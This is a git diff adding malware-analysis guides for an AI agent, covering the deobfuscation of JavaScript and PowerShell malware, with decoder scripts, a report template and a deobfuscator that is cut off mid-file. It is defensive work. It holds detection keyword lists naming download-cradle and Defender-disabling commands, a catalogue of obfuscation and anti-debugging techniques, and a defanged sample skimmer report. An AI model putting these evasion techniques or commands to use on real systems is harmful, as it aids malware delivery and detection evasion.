b/skills/deobfuscating-javascript-malware/SKILL.md new file mode 100644 index 00000000..1f4fd3c6 --- /dev/null +++ b/skills/deobfuscating-javascript-malware/SKILL.md @@ -0,0 +1,349 @@ +--- +name: deobfuscating-javascript-malware +description: > + Deobfuscates malicious JavaScript code used in web-based attacks, phishing pages, and + dropper scripts by reversing encoding layers, eval chains, string manipulation, and + control flow obfuscation to reveal the original malicious logic. Activates for requests + involving JavaScript malware analysis, script deobfuscation, web skimmer analysis, or + obfuscated dropper investigation. +domain: cybersecurity +subdomain: malware-analysis +tags: [malware, JavaScript, deobfuscation, web-malware, script-analysis] +version: 1.0.0 +author: mahipal +license: MIT +--- + +# Deobfuscating JavaScript Malware + +## When to Use + +- Investigating a phishing page with obfuscated JavaScript that performs credential harvesting or redirect +- Analyzing a web skimmer (Magecart-style) injected into an e-commerce site +- Deobfuscating a JavaScript dropper that downloads and executes second-stage malware +- Examining malicious email attachments containing HTML files with embedded obfuscated scripts +- Analyzing browser exploit kits that use heavy JavaScript obfuscation to hide exploit delivery + +**Do not use** for obfuscated JavaScript that is merely minified production code; use a standard beautifier instead. + +## Prerequisites + +- Node.js 18+ installed for executing and debugging JavaScript in a controlled environment +- Python 3.8+ with `jsbeautifier` library for code formatting +- Browser developer tools (Chrome DevTools) for controlled execution in an isolated browser +- CyberChef (https://gchq.github.io/CyberChef/) for encoding/decoding operations +- de4js or JStillery for automated JavaScript deobfuscation +- Isolated analysis VM with no access to production systems or sensitive data + +## Workflow + +### Step 1: Safely Extract and Examine the Obfuscated Script + +Isolate the malicious JavaScript without executing it: + +```bash +# Extract JavaScript from HTML file +python3 << 'PYEOF' +from html.parser import HTMLParser + +class ScriptExtractor(HTMLParser): + def __init__(self): + super().__init__() + self.in_script = False + self.scripts = [] + self.current = "" + + def handle_starttag(self, tag, attrs): + if tag == "script": + self.in_script = True + self.current = "" + + def handle_endtag(self, tag): + if tag == "script": + self.in_script = False + if self.current.strip(): + self.scripts.append(self.current) + + def handle_data(self, data): + if self.in_script: + self.current += data + +with open("malicious_page.html") as f: + parser = ScriptExtractor() + parser.feed(f.read()) + +for i, script in enumerate(parser.scripts): + with open(f"script_{i}.js", "w") as f: + f.write(script) + print(f"Extracted script_{i}.js ({len(script)} bytes)") +PYEOF + +# Beautify the extracted JavaScript +npx js-beautify script_0.js -o script_0_pretty.js +``` + +### Step 2: Identify Obfuscation Techniques + +Categorize the obfuscation methods used: + +``` +Common JavaScript Obfuscation Techniques: +━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +String Encoding: + - Hex encoding: "\x68\x65\x6c\x6c\x6f" -> "hello" + - Unicode escapes: "\u0068\u0065\u006c\u006c\u006f" -> "hello" + - Base64: atob("aGVsbG8=") -> "hello" + - charCodeAt/fromCharCode: String.fromCharCode(104,101,108,108,111) + - Array-based lookup: var _0x1234 = ["hello","world"]; _0x1234[0] + +Eval Chains: + - eval(atob("...")) + - eval(unescape("...")) + - new Function("return " + decoded)() + - document.write("") + - setTimeout(decoded, 0) + +Control Flow: + - Switch-case dispatcher with shuffled case order + - Opaque predicates (always-true/false conditions) + - Dead code insertion + - Variable name mangling (_0x4a3b, _0xab12) + +Anti-Analysis: + - Debugger traps: setInterval(function(){debugger;}, 100) + - Console detection: overriding console.log + - Timing checks: performance.now() deltas + - DevTools detection: window.outerWidth - window.innerWidth > 100 +``` + +### Step 3: Remove Anti-Analysis Protections + +Neutralize anti-debugging and anti-analysis traps: + +```javascript +// Remove debugger traps before analysis +// Replace in the obfuscated script: + +// Before: +setInterval(function() { debugger; }, 100); + +// After (neutralized): +setInterval(function() { /* debugger removed */ }, 100); + +// Neutralize DevTools detection +// Before: +if (window.outerWidth - window.innerWidth > 160) { window.location = "about:blank"; } + +// After: +if (false) { window.location = "about:blank"; } + +// Neutralize timing checks +// Override performance.now to return consistent values +const originalNow = performance.now; +performance.now = function() { return 0; }; +``` + +### Step 4: Decode String Obfuscation Layers + +Progressively decode encoded strings: + +```python +# Python script to decode common JS obfuscation patterns +import re +import base64 +import urllib.parse + +def decode_hex_strings(code): + """Replace \\xNN sequences with ASCII characters""" + def hex_replace(match): + hex_str = match.group(0) + try: + return bytes.fromhex(hex_str.replace("\\x", "")).decode("ascii") + except: + return hex_str + return re.sub(r'(?:\\x[0-9a-fA-F]{2})+', hex_replace, code) + +def decode_unicode_escapes(code): + """Replace \\uNNNN sequences with characters""" + def unicode_replace(match): + return chr(int(match.group(1), 16)) + return re.sub(r'\\u([0-9a-fA-F]{4})', unicode_replace, code) + +def decode_charcode_arrays(code): + """Resolve String.fromCharCode calls""" + def charcode_replace(match): + codes = [int(c.strip()) for c in match.group(1).split(",")] + return '"' + "".join(chr(c) for c in codes) + '"' + return re.sub(r'String\.fromCharCode\(([0-9,\s]+)\)', charcode_replace, code) + +def decode_base64_strings(code): + """Resolve atob() calls with static strings""" + def atob_replace(match): + try: + decoded = base64.b64decode(match.group(1)).decode("utf-8") + return f'"{decoded}"' + except: + return match.group(0) + return re.sub(r'atob\(["\']([A-Za-z0-9+/=]+)["\']\)', atob_replace, code) + +# Apply all decoders +with open("script_0.js") as f: + code = f.read() + +code = decode_hex_strings(code) +code = decode_unicode_escapes(code) +code = decode_charcode_arrays(code) +code = decode_base64_strings(code) + +with open("script_0_decoded.js", "w") as f: + f.write(code) +print("Decoded strings written to script_0_decoded.js") +``` + +### Step 5: Resolve Eval Chains Safely + +Unwrap eval/Function constructor chains without executing: + +```javascript +// Node.js script to safely resolve eval chains +// Run in isolated environment: node --experimental-vm-modules deobfuscate.js + +const vm = require('vm'); + +// Create sandboxed context with logging +const sandbox = { + eval: function(code) { + console.log("=== EVAL INTERCEPTED ==="); + console.log(code.substring(0, 500)); + console.log("========================"); + return code; // Return the code instead of executing it + }, + document: { + write: function(html) { + console.log("=== DOCUMENT.WRITE INTERCEPTED ==="); + console.log(html.substring(0, 500)); + }, + getElementById: function() { return { innerHTML: "" }; } + }, + window: { location: { href: "" } }, + atob: function(s) { return Buffer.from(s, 'base64').toString(); }, + unescape: unescape, + setTimeout: function(fn) { if (typeof fn === 'string') console.log("TIMEOUT CODE:", fn); }, + console: console, + String: String, + Array: Array, + parseInt: parseInt, + RegExp: RegExp, +}; + +const context = vm.createContext(sandbox); + +// Load and execute the obfuscated script in sandbox +const fs = require('fs'); +const code = fs.readFileSync('script_0.js', 'utf8'); + +try { + vm.runInContext(code, context, { timeout: 5000 }); +} catch(e) { + console.log("Execution error (expected):", e.message); +} +``` + +### Step 6: Analyze the Deobfuscated Payload + +Examine the revealed malicious logic: + +``` +Deobfuscated Malware Categories and IOC Extraction: +━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +Credential Harvester: + - Form action URLs (exfiltration endpoints) + - XMLHttpRequest/fetch destinations + - Targeted input field names (username, password, cc_number) + +Web Skimmer (Magecart): + - Payment form overlay injection + - Card data exfiltration URLs + - Keylogger event listeners (onkeypress, oninput) + +Redirect Script: + - Destination URLs in location.href assignments + - Conditional redirects based on user-agent or referrer + - Cloaking logic (show benign content to bots) + +Exploit Kit Landing: + - Browser/plugin version checks + - Exploit payload URLs + - Shellcode embedded as arrays or encoded strings +``` + +## Key Concepts + +| Term | Definition | +|------|------------| +| **Eval Chain** | Nested layers of eval(), Function(), or document.write() calls that each decode one layer of obfuscation before passing to the next | +| **String Array Rotation** | Obfuscation technique storing all strings in a shuffled array and accessing them by computed index to hide string literals | +| **Dead Code Insertion** | Adding non-functional code blocks that never execute to increase analysis complexity and confuse pattern matching | +| **Opaque Predicate** | Conditional expression whose outcome is predetermined but difficult to determine statically; used to obscure control flow | +| **Anti-Debugging** | JavaScript techniques to detect and thwart browser DevTools or debugger usage including debugger statements and timing checks | +| **Web Skimmer** | Malicious JavaScript injected into e-commerce sites to steal payment card data from checkout forms (Magecart attack) | + +## Tools & Systems + +- **CyberChef**: GCHQ's web-based tool for encoding/decoding transformations useful for unwinding multi-layer obfuscation +- **de4js**: Online JavaScript deobfuscator supporting common obfuscation tools (obfuscator.io, JScrambler) +- **Node.js VM Module**: Sandboxed JavaScript execution environment for safely evaluating obfuscated code with intercepted APIs +- **Chrome DevTools**: Browser developer tools for stepping through JavaScript execution with breakpoints and console access +- **JSDetox**: JavaScript malware analysis tool providing execution emulation and deobfuscation + +## Common Scenarios + +### Scenario: Deobfuscating a Magecart Web Skimmer + +**Context**: A compromised e-commerce site has obfuscated JavaScript injected into its checkout page. The script needs deobfuscation to identify the data exfiltration endpoint and determine what customer data was stolen. + +**Approach**: +1. Extract the injected script from the page source (often appended to a legitimate JS file or loaded from an external domain) +2. Beautify the code and identify the obfuscation technique (typically string array + rotation + hex encoding) +3. Decode string encoding layers (hex -> Unicode -> base64) using the Python decoder script +4. Resolve the string array by evaluating the array definition and rotation function +5. Identify the form targeting logic (querySelector for payment form fields) +6. Extract the exfiltration URL from the XMLHttpRequest or fetch call +7. Document stolen data fields and exfiltration endpoint for incident response + +**Pitfalls**: +- Executing obfuscated scripts on a connected system (the script may phone home during analysis) +- Not removing anti-debugging traps before using browser DevTools (infinite debugger loops) +- Missing additional obfuscation layers loaded dynamically from external URLs +- Overlooking base64-encoded inline images or data URIs that may contain additional scripts + +## Output Format + +``` +JAVASCRIPT MALWARE DEOBFUSCATION REPORT +========================================= +Source: checkout.js (injected into example-shop.com) +Obfuscation: obfuscator.io (string array + rotation + hex encoding) +Layers Removed: 3 + +OBFUSCATION TECHNIQUES IDENTIFIED +[1] String array with 247 entries, rotated by 0x1a3 +[2] Hex-encoded string references (\x68\x65\x6c\x6c\x6f) +[3] Base64-wrapped eval chain (2 layers) +[4] Anti-debugging: setInterval debugger trap + +DEOBFUSCATED FUNCTIONALITY +Type: Magecart Payment Card Skimmer +Target Forms: input[name*="card"], input[name*="cc_"] +Data Captured: Card number, expiration, CVV, cardholder name +Exfil Method: POST via XMLHttpRequest +Exfil URL: hxxps://analytics-cdn[.]com/collect +Exfil Format: JSON { "cn": card_number, "exp": expiry, "cv": cvv } +Trigger: Form submit event on checkout page + +EXTRACTED IOCs +Domains: analytics-cdn[.]com +IPs: 185.220.101[.]42 +URLs: hxxps://analytics-cdn[.]com/collect + hxxps://analytics-cdn[.]com/gate.js +``` diff --git a/skills/deobfuscating-powershell-obfuscated-malware/SKILL.md b/skills/deobfuscating-powershell-obfuscated-malware/SKILL.md new file mode 100644 index 00000000..a3282abd --- /dev/null +++ b/skills/deobfuscating-powershell-obfuscated-malware/SKILL.md @@ -0,0 +1,354 @@ +--- +name: deobfuscating-powershell-obfuscated-malware +description: Systematically deobfuscate multi-layer PowerShell malware using AST analysis, dynamic tracing, and tools like PSDecode and PowerDecode to reveal hidden payloads and C2 infrastructure. +domain: cybersecurity +subdomain: malware-analysis +tags: [powershell, deobfuscation, malware-analysis, scripting, obfuscation, ast-analysis, incident-response] +version: "1.0" +author: mahipal +license: MIT +--- +# Deobfuscating PowerShell Obfuscated Malware + +## Overview + +PowerShell is heavily abused by malware authors due to its deep Windows integration and powerful scripting capabilities. Obfuscation techniques include string concatenation, Base64 encoding, character substitution, Invoke-Expression layering, SecureString abuse, environment variable manipulation, and tick-mark insertion. Modern malware uses multiple obfuscation layers requiring iterative deobfuscation. Tools like PSDecode, PowerDecode, and PowerPeeler automate much of this process, while manual AST (Abstract Syntax Tree) analysis handles custom obfuscation. PowerPeeler achieves a 95% deobfuscation correctness rate using instruction-level dynamic analysis of expression-related AST nodes. + +## Prerequisites + +- Python 3.9+ with `base64`, `re`, `subprocess` modules +- PowerShell 5.1+ or PowerShell 7+ (for AST access) +- PSDecode (`Install-Module PSDecode`) +- PowerDecode (https://github.com/Malandrone/PowerDecode) +- Isolated VM or sandbox for safe script execution +- CyberChef for manual encoding transformations +- Understanding of PowerShell AST and Invoke-Expression patterns + +## Key Concepts + +### Common Obfuscation Techniques + +PowerShell malware employs layered obfuscation to evade static detection. String concatenation splits commands across variables (`$a='In'+'voke'`). Base64 encoding wraps entire scripts in `-EncodedCommand` parameters. Character code arrays use `[char]` casting (`[char[]](73,69,88)|%{$r+=$_}`). Environment variable abuse reads substrings from `$env:` paths. Tick-mark insertion adds backticks between characters that PowerShell ignores (`I`nv`oke-Exp`ression`). SecureString conversion encrypts strings using ConvertTo-SecureString with embedded keys. + +### AST-Based Deobfuscation + +PowerShell's Abstract Syntax Tree exposes the parsed structure of scripts regardless of surface-level obfuscation. By walking the AST and evaluating expression nodes, analysts can resolve concatenated strings, decode encoded values, and reconstruct the original commands. PowerPeeler uses this approach at the instruction level, monitoring the execution process to correlate AST nodes with their evaluated results. + +### Dynamic Execution Tracing + +By replacing `Invoke-Expression` (IEX) with `Write-Output`, analysts can safely capture the deobfuscated script content that would normally be executed. This technique works across multiple layers by iteratively replacing IEX calls until the final payload is revealed. + +## Practical Steps + +### Step 1: Identify Obfuscation Layers + +```python +#!/usr/bin/env python3 +"""Identify and classify PowerShell obfuscation techniques.""" +import re +import base64 +import sys + + +def analyze_obfuscation(script_content): + """Identify obfuscation techniques used in PowerShell script.""" + techniques = [] + + # Check for Base64 encoded command + b64_pattern = re.compile( + r'-[Ee](?:nc(?:odedcommand)?)\s+([A-Za-z0-9+/=]{20,})', + re.IGNORECASE + ) + if b64_pattern.search(script_content): + techniques.append("Base64 EncodedCommand") + + # Check for FromBase64String + if re.search(r'\[Convert\]::FromBase64String', script_content, re.IGNORECASE): + techniques.append("Base64 FromBase64String") + + # Check for string concatenation + concat_count = script_content.count("'+'") + script_content.count('"+"') + if concat_count > 3: + techniques.append(f"String Concatenation ({concat_count} joins)") + + # Check for char array construction + if re.search(r'\[char\]\s*\d+', script_content, re.IGNORECASE): + techniques.append("Character Code Array") + + # Check for Invoke-Expression variants + iex_patterns = [ + r'Invoke-Expression', + r'\bIEX\b', + r'\.\s*\(\s*\$', + r'&\s*\(\s*\$', + r'\|\s*IEX', + r'\|\s*Invoke-Expression', + ] + for pattern in iex_patterns: + if re.search(pattern, script_content, re.IGNORECASE): + techniques.append(f"Invoke-Expression variant: {pattern}") + + # Check for tick-mark obfuscation + tick_count = script_content.count('`') + if tick_count > 5: + techniques.append(f"Tick-mark Insertion ({tick_count} backticks)") + + # Check for environment variable abuse + if re.search(r'\$env:', script_content, re.IGNORECASE): + env_refs = re.findall(r'\$env:\w+', script_content, re.IGNORECASE) + if len(env_refs) > 2: + techniques.append(f"Environment Variable Abuse ({len(env_refs)} refs)") + + # Check for SecureString + if re.search(r'ConvertTo-SecureString', script_content, re.IGNORECASE): + techniques.append("SecureString Encryption") + + # Check for compression + if re.search(r'IO\.Compression|DeflateStream|GZipStream', + script_content, re.IGNORECASE): + techniques.append("Compression (Deflate/GZip)") + + # Check for XOR encoding + if re.search(r'-bxor\s+\d+', script_content, re.IGNORECASE): + techniques.append("XOR Encoding") + + # Check for Replace chain + replace_count = len(re.findall(r'\.Replace\(', script_content)) + if replace_count > 2: + techniques.append(f"Replace Chain ({replace_count} replacements)") + + return techniques + + +def decode_base64_command(script_content): + """Extract and decode Base64 encoded commands.""" + b64_match = re.search( + r'-[Ee](?:nc(?:odedcommand)?)\s+([A-Za-z0-9+/=]{20,})', + script_content, re.IGNORECASE + ) + if b64_match: + encoded = b64_match.group(1) + try: + decoded = base64.b64decode(encoded).decode('utf-16-le') + return decoded + except Exception: + return None + return None + + +def remove_tick_marks(script_content): + """Remove PowerShell tick-mark obfuscation.""" + # Remove backticks that are not escape sequences + escape_chars = {'`n', '`r', '`t', '`a', '`b', '`f', '`v', '`0', '``'} + result = [] + i = 0 + while i < len(script_content): + if script_content[i] == '`' and i + 1 < len(script_content): + pair = script_content[i:i+2] + if pair in escape_chars: + result.append(pair) + i += 2 + else: + # Skip the backtick, keep the next char + result.append(script_content[i+1]) + i += 2 + else: + result.append(script_content[i]) + i += 1 + return ''.join(result) + + +def resolve_string_concat(script_content): + """Resolve simple string concatenation patterns.""" + # Pattern: 'str1' + 'str2' + pattern = re.compile(r"'([^']*)'\s*\+\s*'([^']*)'") + while pattern.search(script_content): + script_content = pattern.sub(lambda m: f"'{m.group(1)}{m.group(2)}'", + script_content) + # Pattern: "str1" + "str2" + pattern = re.compile(r'"([^"]*)"\s*\+\s*"([^"]*)"') + while pattern.search(script_content): + script_content = pattern.sub(lambda m: f'"{m.group(1)}{m.group(2)}"', + script_content) + return script_content + + +if __name__ == "__main__": + if len(sys.argv) < 2: + print(f"Usage: {sys.argv[0]} ") + sys.exit(1) + + with open(sys.argv[1], 'r', errors='replace') as f: + content = f.read() + + print("[+] Obfuscation Analysis") + print("=" * 60) + techniques = analyze_obfuscation(content) + for t in techniques: + print(f" - {t}") + + # Attempt automatic deobfuscation + print("\n[+] Attempting Deobfuscation") + print("=" * 60) + + # Layer 1: Remove tick marks + deobfuscated = remove_tick_marks(content) + + # Layer 2: Resolve string concatenation + deobfuscated = resolve_string_concat(deobfuscated) + + # Layer 3: Decode Base64 + b64_decoded = decode_base64_command(deobfuscated) + if b64_decoded: + print("[+] Base64 decoded content:") + print(b64_decoded[:2000]) + deobfuscated = b64_decoded + + print(f"\n[+] Deobfuscated script length: {len(deobfuscated)} chars") + output_file = sys.argv[1] + ".deobfuscated.ps1" + with open(output_file, 'w') as f: + f.write(deobfuscated) + print(f"[+] Saved to {output_file}") +``` + +### Step 2: Multi-Layer IEX Replacement + +```python +import subprocess +import tempfile +import os + +def iex_replacement_deobfuscate(script_content, max_layers=10): + """Iteratively replace IEX with Write-Output to unwrap layers.""" + # IEX replacement patterns + replacements = [ + (r'\bInvoke-Expression\b', 'Write-Output'), + (r'\bIEX\b', 'Write-Output'), + (r'\|\s*IEX\b', '| Write-Output'), + ] + + current = script_content + layers = [] + + for layer_num in range(max_layers): + # Apply IEX replacements + modified = current + for pattern, replacement in replacements: + modified = re.sub(pattern, replacement, modified, flags=re.IGNORECASE) + + if modified == current and layer_num > 0: + print(f" [+] No more IEX layers found at layer {layer_num}") + break + + # Write to temp file and execute in constrained PowerShell + with tempfile.NamedTemporaryFile(mode='w', suffix='.ps1', + delete=False) as tmp: + tmp.write(modified) + tmp_path = tmp.name + + try: + result = subprocess.run( + ['powershell', '-NoProfile', '-ExecutionPolicy', 'Bypass', + '-File', tmp_path], + capture_output=True, text=True, timeout=30 + ) + + output = result.stdout.strip() + if output and output != current: + print(f" [+] Layer {layer_num + 1}: Unwrapped " + f"{len(output)} chars") + layers.append({ + "layer": layer_num + 1, + "technique": "IEX replacement", + "content_length": len(output), + }) + current = output + else: + break + + except subprocess.TimeoutExpired: + print(f" [!] Layer {layer_num + 1}: Execution timeout") + break + finally: + os.unlink(tmp_path) + + return current, layers +``` + +### Step 3: Extract IOCs from Deobfuscated Script + +```python +def extract_iocs_from_script(deobfuscated_content): + """Extract indicators of compromise from deobfuscated PowerShell.""" + iocs = { + "urls": [], + "ips": [], + "domains": [], + "file_paths": [], + "registry_keys": [], + "commands": [], + "base64_blobs": [], + } + + # URLs + url_pattern = re.compile( + r'https?://[^\s\'"<>)\]]+', re.IGNORECASE + ) + iocs["urls"] = list(set(url_pattern.findall(deobfuscated_content))) + + # IP addresses + ip_pattern = re.compile( + r'\b(?:\d{1,3}\.){3}\d{1,3}\b' + ) + iocs["ips"] = list(set(ip_pattern.findall(deobfuscated_content))) + + # File paths + path_pattern = re.compile( + r'[A-Za-z]:\\[^\s\'"<>|]+|' + r'\\\\[^\s\'"<>|]+|' + r'%(?:APPDATA|TEMP|USERPROFILE|PROGRAMFILES)%[^\s\'"<>|]*', + re.IGNORECASE + ) + iocs["file_paths"] = list(set(path_pattern.findall(deobfuscated_content))) + + # Registry keys + reg_pattern = re.compile( + r'(?:HKLM|HKCU|HKCR|HKU|HKCC)(?:\\[^\s\'"<>|]+)+', + re.IGNORECASE + ) + iocs["registry_keys"] = list(set(reg_pattern.findall(deobfuscated_content))) + + # Suspicious commands + suspicious_cmds = [ + 'New-Object Net.WebClient', + 'DownloadString', 'DownloadFile', 'DownloadData', + 'Start-Process', 'Invoke-WebRequest', + 'New-Object IO.MemoryStream', + 'Reflection.Assembly', + 'Add-MpPreference -ExclusionPath', + 'Set-MpPreference -DisableRealtimeMonitoring', + 'New-ScheduledTask', 'Register-ScheduledTask', + ] + for cmd in suspicious_cmds: + if cmd.lower() in deobfuscated_content.lower(): + iocs["commands"].append(cmd) + + return iocs +``` + +## Validation Criteria + +- All obfuscation layers identified and classified correctly +- Base64 encoded commands decoded to readable PowerShell +- Tick-mark and string concatenation obfuscation resolved +- IEX replacement reveals next-stage payloads +- URLs, IPs, and file paths extracted from final deobfuscated stage +- Deobfuscated script matches observed malware behavior in sandbox + +## References + +- [PSDecode - PowerShell Deobfuscation](https://github.com/R3MRUM/PSDecode) +- [PowerDecode - Multi-layer Deobfuscation](https://github.com/Malandrone/PowerDecode) +- [PowerPeeler - Instruction-level Deobfuscation](https://arxiv.org/html/2406.04027v2) +- [SentinelOne - Deconstructing PowerShell Obfuscation](https://www.sentinelone.com/blog/deconstructing-powershell-obfuscation-in-malspam-campaigns/) +- [MITRE ATT&CK T1059.001 - PowerShell](https://attack.mitre.org/techniques/T1059/001/) diff --git a/skills/deobfuscating-powershell-obfuscated-malware/assets/template.md b/skills/deobfuscating-powershell-obfuscated-malware/assets/template.md new file mode 100644 index 00000000..c49977fc --- /dev/null +++ b/skills/deobfuscating-powershell-obfuscated-malware/assets/template.md @@ -0,0 +1,66 @@ +# PowerShell Deobfuscation Analysis Report + +## Report Metadata +| Field | Value | +|-------|-------| +| Report ID | PS-DEOB-YYYY-NNNN | +| Date | YYYY-MM-DD | +| Sample Hash (SHA-256) | | +| Original Filename | | +| Classification | TLP:AMBER | + +## Obfuscation Layers Identified + +| Layer | Technique | Description | +|-------|-----------|-------------| +| 1 | | | +| 2 | | | +| 3 | | | + +## Deobfuscation Results + +### Layer-by-Layer Breakdown +| Layer | Input Size | Output Size | Technique Applied | +|-------|-----------|-------------|-------------------| +| 1 | bytes | bytes | | +| 2 | bytes | bytes | | + +### Final Deobfuscated Script Summary +- **Total layers removed**: +- **Final script purpose**: +- **Execution method**: + +## Extracted IOCs + +### URLs +| URL | Purpose | +|-----|---------| +| | Payload download / C2 | + +### IP Addresses +| IP | Context | +|----|---------| +| | | + +### File System Artifacts +| Path | Action | +|------|--------| +| | Created / Modified / Deleted | + +### Registry Keys +| Key | Action | +|-----|--------| +| | Created / Modified | + +## Behavioral Analysis +- **Download behavior**: +- **Persistence mechanism**: +- **Evasion techniques**: +- **Payload type**: + +## MITRE ATT&CK Mapping +| Technique | ID | Evidence | +|-----------|-----|---------| +| PowerShell | T1059.001 | Script execution | +| Obfuscated Files | T1027 | Multi-layer encoding | +| | | | diff --git a/skills/deobfuscating-powershell-obfuscated-malware/references/standards.md b/skills/deobfuscating-powershell-obfuscated-malware/references/standards.md new file mode 100644 index 00000000..f5cb991a --- /dev/null +++ b/skills/deobfuscating-powershell-obfuscated-malware/references/standards.md @@ -0,0 +1,41 @@ +# Standards and Frameworks Reference + +## PowerShell Obfuscation Taxonomy + +### Layer Classification +| Layer | Technique | Example | +|-------|-----------|---------| +| L1 | Base64 EncodedCommand | `powershell -enc SQBFAFgA...` | +| L2 | String Concatenation | `$a='Inv'+'oke'+'-Ex'+'pression'` | +| L3 | Character Code Array | `[char[]](73,69,88)-join''` | +| L4 | Tick-Mark Insertion | `` I`nv`oke-Exp`ress`ion `` | +| L5 | Environment Variable | `$env:COMSPEC[4,15,25]-join''` | +| L6 | SecureString | `ConvertTo-SecureString ... -Key` | +| L7 | Compression + Base64 | `IO.Compression.DeflateStream` | +| L8 | XOR Encoding | `$bytes | %{ $_ -bxor 0x42 }` | +| L9 | Replace Chain | `.Replace('abc','I').Replace(...)` | +| L10 | Format String | `("{2}{0}{1}" -f 'ke-','Ex','Invo')` | + +### MITRE ATT&CK Mappings +| Technique | ID | Description | +|-----------|-----|------------| +| Command and Scripting Interpreter: PowerShell | T1059.001 | Malicious PowerShell execution | +| Obfuscated Files or Information | T1027 | Encoding/encryption of scripts | +| Deobfuscate/Decode Files | T1140 | Runtime deobfuscation | +| Ingress Tool Transfer | T1105 | Downloading payloads via PS | +| System Binary Proxy Execution | T1218 | Using trusted binaries | + +## PowerShell AST Node Types for Analysis + +### Key Expression Nodes +- `CommandExpression`: Direct command invocations +- `InvokeMemberExpression`: Method calls on objects +- `BinaryExpression`: String concatenation operators +- `ArrayExpression`: Character array construction +- `SubExpression`: Nested expression evaluation +- `ExpandableStringExpression`: String interpolation + +## References +- [PowerShell Language Specification](https://docs.microsoft.com/en-us/powershell/scripting/lang-spec/chapter-01) +- [Invoke-Obfuscation Framework](https://github.com/danielbohannon/Invoke-Obfuscation) +- [AMSI Interface Documentation](https://docs.microsoft.com/en-us/windows/win32/amsi/) diff --git a/skills/deobfuscating-powershell-obfuscated-malware/references/workflows.md b/skills/deobfuscating-powershell-obfuscated-malware/references/workflows.md new file mode 100644 index 00000000..fc0518a9 --- /dev/null +++ b/skills/deobfuscating-powershell-obfuscated-malware/references/workflows.md @@ -0,0 +1,50 @@ +# PowerShell Deobfuscation Workflows + +## Workflow 1: Automated Multi-Layer Deobfuscation + +``` +[Obfuscated Script] --> [Identify Techniques] --> [Remove Tick Marks] + | + v + [Resolve Concatenation] + | + v + [Decode Base64 Layers] + | + v + [IEX -> Write-Output] + | + v + [Extract Final Payload] +``` + +## Workflow 2: AST-Based Analysis + +``` +[Script Input] --> [Parse AST] --> [Walk Expression Nodes] --> [Evaluate Expressions] + | + v + [Reconstruct Commands] + | + v + [Extract IOCs] +``` + +## Workflow 3: Dynamic Sandbox Deobfuscation + +``` +[Obfuscated Script] --> [Execute in Sandbox] --> [Capture ScriptBlock Logs] + | + v + [Event ID 4104 Analysis] + | + v + [Reconstruct Execution Chain] +``` + +### Steps: +1. **Enable Logging**: Enable PowerShell ScriptBlock logging (Event ID 4104) +2. **Execute**: Run obfuscated script in isolated sandbox +3. **Collect**: Gather all ScriptBlock log entries +4. **Reconstruct**: Assemble deobfuscated script from logged blocks +5. **Extract**: Pull IOCs from the reconstructed clear-text script diff --git a/skills/deobfuscating-powershell-obfuscated-malware/scripts/process.py b/skills/deobfuscating-powershell-obfuscated-malware/scripts/process.py new file mode 100644 index 00000000..a71af076 --- /dev/null +++ b/skills/deobfuscating-powershell-obfuscated-malware/scripts/process.py @@ -0,0 +1,321 @@ +#!/usr/bin/env python3 +""" +PowerShell Malware Deobfuscation Script + +Identifies and removes multiple layers of PowerShell obfuscation +to reveal the underlying malicious payload and extract IOCs. + +Requirements: + pip install regex + +Usage: + python process.py --file obfuscated.ps1 --output deobfuscated.ps1 + python process.py --file obfuscated.ps1 --extract-iocs +""" + +import argparse +import base64 +import json +import re +import sys +from pathlib import Path + + +class PowerShellDeobfuscator: + """Multi-layer PowerShell deobfuscation engine.""" + + def __init__(self): + self.layers = [] + self.iocs = { + "urls": set(), + "ips": set(), + "domains": set(), + "file_paths": set(), + "registry_keys": set(), + "suspicious_commands": set(), + } + + def analyze(self, content): + """Identify obfuscation techniques present.""" + techniques = [] + + checks = [ + (r'-[Ee]nc(?:odedcommand)?\s+[A-Za-z0-9+/=]{20,}', + "Base64 EncodedCommand"), + (r'\[Convert\]::FromBase64String', "FromBase64String"), + (r"'\s*\+\s*'", "String Concatenation (single-quote)"), + (r'"\s*\+\s*"', "String Concatenation (double-quote)"), + (r'\[char\]\s*\d+', "Character Code Casting"), + (r'\[char\[\]\]\s*\([\d,\s]+\)', "Character Array"), + (r'`[a-zA-Z]', "Tick-Mark Insertion"), + (r'Invoke-Expression', "Invoke-Expression"), + (r'\bIEX\b', "IEX Alias"), + (r'\|\s*IEX', "Pipeline IEX"), + (r'IO\.Compression', "Compression Stream"), + (r'-bxor\s+\d+', "XOR Encoding"), + (r'\.Replace\(', "Replace Chain"), + (r'ConvertTo-SecureString', "SecureString"), + (r'\$env:', "Environment Variable"), + (r'-f\s+[\'"]', "Format String Operator"), + (r'New-Object\s+IO\.MemoryStream', "MemoryStream"), + ] + + for pattern, name in checks: + matches = re.findall(pattern, content, re.IGNORECASE) + if matches: + techniques.append({"technique": name, "count": len(matches)}) + + return techniques + + def deobfuscate(self, content): + """Apply all deobfuscation layers iteratively.""" + current = content + iteration = 0 + + while iteration < 20: + previous = current + + # Layer: Remove tick marks + current = self._remove_ticks(current) + + # Layer: Resolve string concatenation + current = self._resolve_concat(current) + + # Layer: Decode Base64 EncodedCommand + current = self._decode_base64_command(current) + + # Layer: Decode FromBase64String calls + current = self._decode_frombase64(current) + + # Layer: Resolve character arrays + current = self._resolve_char_arrays(current) + + # Layer: Resolve format strings + current = self._resolve_format_strings(current) + + # Layer: Decompress streams + current = self._decompress_streams(current) + + if current == previous: + break + + self.layers.append({ + "iteration": iteration + 1, + "length_before": len(previous), + "length_after": len(current), + }) + iteration += 1 + + # Extract IOCs from final result + self._extract_iocs(current) + + return current + + def _remove_ticks(self, content): + """Remove backtick obfuscation.""" + escape_sequences = {'`n', '`r', '`t', '`a', '`b', '`f', '`v', '`0', '``'} + result = [] + i = 0 + while i < len(content): + if content[i] == '`' and i + 1 < len(content): + pair = content[i:i+2] + if pair in escape_sequences: + result.append(pair) + i += 2 + else: + result.append(content[i+1]) + i += 2 + else: + result.append(content[i]) + i += 1 + return ''.join(result) + + def _resolve_concat(self, content): + """Resolve string concatenation.""" + # Single-quoted concatenation + pattern = re.compile(r"'([^']*)'\s*\+\s*'([^']*)'") + while pattern.search(content): + content = pattern.sub(r"'\1\2'", content) + + # Double-quoted concatenation + pattern = re.compile(r'"([^"]*)"\s*\+\s*"([^"]*)"') + while pattern.search(content): + content = pattern.sub(r'"\1\2"', content) + + return content + + def _decode_base64_command(self, content): + """Decode -EncodedCommand Base64 arguments.""" + 